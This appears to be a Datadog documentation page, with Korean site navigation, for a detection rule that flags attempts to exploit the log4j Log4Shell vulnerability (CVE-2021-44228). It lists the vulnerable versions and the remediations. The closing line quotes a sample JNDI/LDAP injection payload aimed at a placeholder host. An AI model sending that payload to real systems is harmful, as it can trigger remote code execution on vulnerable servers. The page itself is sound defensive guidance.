- 필수 기능
- 앱 내
- 서비스 관리
- 인프라스트럭처
- 애플리케이션 성능
- 디지털 경험
- 소프트웨어 제공
- 보안
- 로그 관리
- 관리
- 인프라스트럭처
- ci
- containers
- csm
- ndm
- otel_guides
- overview
- slos
- synthetics
- tests
- 워크플로
Tactic:
Detect attempts to exploit the log4j vulnerability (CVE-2021-44228).
The vulnerability has CVSS Score: 10.0 CRITICAL and can lead to Remote Code Execution (RCE).
Monitor payload matching the known patterns for CVE-2021-44228 (event rule: #sqr-000-017) and generate an Application Security signal with Info
severity if at least 10 attacks are targeting a service running a Java application.
Consider blocking the attacking IP(s) temporarily to prevent them to reach deeper parts of your production systems.
First, check if the impacted web service uses a vulnerable version of the log4j module. Versions from 2.0-beta9 through 2.12.1, and 2.13.0 through 2.14.1, including 2.15.0-rc1 - are vulnerable.
If vulnerable, apply the following remediations to prevent exploit of the Log4Shell vulnerability:
formatMsgNoLookups=true
. Only available from log4j >= 2.10 versionsorg.apache.logging.log4j.core.lookup.JndiLookup
Finally, investigate evidences of log containing malicious payload like ${jndi:ldap://x.x.x.x/#Touch}
through Datadog ASM.